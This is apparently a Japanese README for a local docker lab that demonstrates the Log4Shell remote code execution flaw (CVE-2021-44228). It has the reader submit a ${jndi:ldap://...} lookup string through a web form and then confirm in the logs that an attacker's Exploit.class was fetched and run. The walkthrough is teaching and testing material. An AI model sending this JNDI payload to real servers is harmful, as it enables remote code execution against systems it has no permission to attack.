log4j2
のリモートコード実行の脆弱性(CVE-2021-44228)を実際に試すためのプロジェクトです。
docker-compose up
log4j
コンテナは起動してから使えるようになるまで少し時間がかかります。以下のコマンドで進行状況を確認してください。
docker logs -f log4j
Server started: Listening on port 8081
と表示されたら準備完了です。
log4j
コンテナの/root
ディレクトリを確認します。
docker exec log4j ls /root
初期状態では、work
ディレクトリのみがある状態です。
http://localhost:8081/
にアクセスします。フォームに入力された名前を、画面とログに出力するだけのシンプルなアプリケーションです。
フォームに${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}
を入力し、送信します。
log4j
コンテナの/root
ディレクトリを確認します。
docker exec log4j ls /root
攻撃者が用意したコードが実行され、先ほどまで存在しなかったファイルが作られているはずです。タイムスタンプをファイル名にしているので、攻撃を行った回数だけ新規ファイルが増えていきます。
ldap
コンテナのログを確認すると、log4j
コンテナからSEARCH
リクエストが来ていることが確認できます。
docker logs ldap
web
コンテナのtomcat
のログを確認すると、log4j
コンテナからExploit.class
(攻撃に使用するクラス)に対するアクセスが来ていることが確認できます。
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*